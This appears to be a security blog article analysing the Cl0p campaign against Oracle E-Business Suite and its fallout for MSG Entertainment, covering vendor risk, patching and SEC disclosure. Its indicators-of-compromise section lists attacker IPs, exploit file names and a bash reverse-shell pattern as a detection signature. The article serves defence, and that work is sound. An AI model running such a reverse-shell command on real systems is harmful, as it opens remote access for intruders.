The MSG Data Breach Was the Symptom. Oracle EBS Was the Disease.

The breadth of this campaign is what makes it genuinely alarming. Confirmed victims named on the Cl0p leak site or disclosed through breach notification filings include organizations spanning technology, media, aviation, higher education, automotive parts, digital engineering, financial services, and entertainment. The Washington Post confirmed it was affected in early November 2025. Harvard University confirmed exposure. Logitech, Cox Enterprises, Pan American Silver, LKQ Corporation, and Copeland all appeared on Cl0p's disclosure site.

GlobalLogic, a digital engineering firm owned by Hitachi, disclosed that personal data belonging to nearly 10,500 current and former employees was exposed, including names, contact information, birth dates, passport numbers, Social Security numbers, and bank account details. That disclosure illustrates how much damage a single Oracle EBS compromise can cause when the platform is used for HR and payroll management.

For MSG specifically, the exposed data was described in breach notification filings as business records related to hiring and payments made to individuals. That means the 131,070 people notified are a mix of employees, contractors, performers, event staff, and vendors — anyone whose name and Social Security number passed through MSG's HR or payroll systems in the affected Oracle EBS environment. The intrusion window ran from August 10 to October 21, 2025.

MSG refused to pay the ransom. As a consequence, Cl0p published more than 210 GB of the company's archived files publicly on its leak site. MSG offered affected individuals one year of complimentary credit monitoring and identity protection services through Cyberscout, a TransUnion company.

MSG Entertainment Corp. is a publicly traded company. Under SEC cybersecurity disclosure rules that took effect in December 2023, public companies are required to report material cybersecurity incidents on Form 8-K within four business days of determining that a breach is material. The rule was designed specifically to prevent the kind of months-long disclosure gap that defined this incident. MSG determined the breach had occurred on December 16, 2025. Public notification to affected individuals began in February and March 2026 — but the more immediate question is when, or whether, MSG filed an 8-K with the SEC about a breach affecting 131,070 people's Social Security numbers. Governance

The SEC rule also requires companies to describe their cybersecurity risk management processes in annual 10-K filings, including how they manage third-party risks. Given that MSG's breach originated in a vendor-managed system, there is a secondary question about what MSG's most recent 10-K disclosures represented about the company's third-party risk oversight capabilities — and whether those representations remained accurate in light of a four-month undetected vendor compromise.

Here is the detail in this story that deserves far more attention than it has received: MSG Entertainment did not run its own Oracle EBS instance. The system was hosted and managed by a third-party vendor. That vendor was breached. That vendor's investigation is what eventually surfaced the intrusion, four months after it happened. Third-party risk

This is a third-party risk management failure, and it is the norm, not the exception. Organizations routinely hand sensitive data — payroll records, hiring data, SSNs, financial transactions — to vendors who operate the platforms on their behalf. The data is the organization's legal responsibility. The security controls, patching schedules, and incident detection capabilities belong to someone else entirely.

The question that MSG Entertainment's breach forces every organization to confront is simple: if your vendor's Oracle EBS instance was compromised for four months, would you have known? The answer, in most cases, is no. Vendor security assessments are typically point-in-time exercises. Contracts establish data handling requirements but rarely impose real-time monitoring obligations or breach detection SLAs with teeth. The vendor in MSG's case discovered the intrusion through forensic investigation — reactive, not proactive.

"The case raises policy and governance questions about third-party risk management, incident disclosure timelines and regulatory oversight." — Prism News, March 2026

There is also a patching governance angle here. CVE-2025-61882 was exploited in the wild at least two months before Oracle released a patch. Organizations cannot patch a vulnerability that has no CVE yet. But the broader Oracle EBS patching picture is relevant: Cybereason's analysis found that in some cases attackers combined the zero-day with as many as five previously unpatched CVEs from Oracle's July 2025 Critical Patch Update. Meaning organizations that were up-to-date on Oracle's quarterly patch cycle would have reduced, but not eliminated, their exposure. Organizations that had not applied the July 2025 patches were significantly more vulnerable to the full attack chain.

Oracle's Own Communication Made Response Harder

What Defenders Should Have Been Watching For

Google's Threat Intelligence Group published specific indicators of compromise and defensive guidance for this campaign. Organizations running Oracle EBS should look for these signs of compromise in their environments:

# Hunt for malicious database templates
SELECT * FROM XDO_TEMPLATES_B ORDER BY CREATION_DATE DESC;
SELECT * FROM XDO_LOBS ORDER BY CREATION_DATE DESC;
-- Flag any TEMPLATE_CODE beginning with TMP or DEF

# Network-level IOCs (from Oligo Security research)
# Suspicious IPs observed in campaign:
200.107.207.26
185.181.60.11

# Suspicious files associated with post-exploitation
exp.py
server.py
oracle_ebs_nday_exploit*.zip

# Process-level red flags
# Reverse shell pattern: /bin/bash -i >& /dev/tcp/[attacker-ip]/[port]
# Unexpected child processes spawned from Oracle EBS Java service

Mandiant also confirmed that at least two compromised sender accounts used in the extortion email campaign were previously linked to past Cl0p and FIN11 operations, suggesting infrastructure reuse across campaigns. This means threat intelligence feeds tracking known Cl0p infrastructure would have flagged the extortion emails as suspicious before victims even opened them.

If you received a data breach notification from MSG Entertainment, or if you believe you may have worked with MSG as an employee, contractor, or vendor between August and October 2025, here is what the current guidance recommends.

Additionally, class action attorneys are actively investigating this breach. Edelson Lechtzin LLP announced a formal investigation in late February 2026 on behalf of affected individuals. Participation in class action proceedings is voluntary, but affected individuals should be aware of their options and applicable statutes of limitations in their states.

1. Zero-days are not theoretical. CVE-2025-61882 was exploited at least two months before Oracle released a patch. Organizations that patched immediately after the October 2025 advisory were still exposed during the entire summer window. The only mitigation for unannounced zero-days is defense-in-depth: network segmentation, outbound traffic monitoring, anomaly detection at the application layer, and restricting internet-facing ERP access. Zero-day
2. Your vendor's security posture is your security posture. MSG did not operate the compromised system. The data was still MSG's legal and reputational liability. Third-party risk assessments must include active monitoring obligations, not just annual questionnaires. Contracts should require vendors to notify of suspected incidents within hours, not months. Third-party risk
3. Cl0p's mass-exploitation model shows no signs of stopping. This group has run the same playbook successfully against Accellion, GoAnywhere, MOVEit, Cleo, and now Oracle EBS. The targets change. The model does not. Any widely deployed enterprise platform with internet-facing components is a candidate for the next campaign. Playbook
4. Detection lag is the real damage multiplier. Four months of undetected access gave attackers ample time to thoroughly map and exfiltrate sensitive data. Modern ERP environments require runtime application monitoring, not just perimeter and endpoint defenses. The initial exploit happens inside the application layer where traditional EDR tools do not look. Detection lag
5. Not paying ransoms is the right call, but it has consequences. MSG declined to pay, and 210 GB of its data was published publicly. The short-term cost of refusal is data exposure. The long-term cost of payment is funding further attacks and establishing that extortion works. There is no clean option once an organization is in Cl0p's crosshairs — which is precisely why prevention is the only viable strategy.
6. The patch was not one patch — it was three steps with a week between them. Remediating CVE-2025-61882 required the October 2023 CPU as a prerequisite, then the October 4 emergency fix, then a second out-of-band patch for CVE-2025-61884 on October 11. Organizations that moved fast but stopped after step two remained exposed through a distinct attack chain. Emergency response playbooks that treat a single CVE advisory as the complete remediation picture are not adequate for complex, multi-CVE enterprise platform attacks. Zero-day
7. Public companies have SEC disclosure obligations that apply here. The SEC's 2023 cybersecurity disclosure rules require 8-K filings for material incidents within four business days of a materiality determination. For publicly traded organizations, the question of incident materiality is not optional: it requires a documented analysis and, when the answer is yes, a public filing. Coverage of this breach has focused on consumer harm and class action exposure. The regulatory compliance dimension — for MSG and the other publicly traded organizations named in this campaign — has been conspicuously absent from the public conversation. Governance

MSG Entertainment is a familiar name, and that is why this breach got coverage. But the 100-plus other organizations hit by the same campaign — many of which have still not publicly confirmed impact — represent the real scale of what happened here. Oracle EBS runs a substantial portion of the world's enterprise HR, payroll, and financial data. When a threat actor finds a zero-day in that platform and has months to exploit it quietly, the ripple effects extend far beyond any single organization's breach notification letter.

The headline said Madison Square Garden confirmed a data breach. The actual story is that enterprise ERP infrastructure is a high-value, under-defended attack surface, and a sophisticated threat actor spent the second half of 2025 proving it at scale.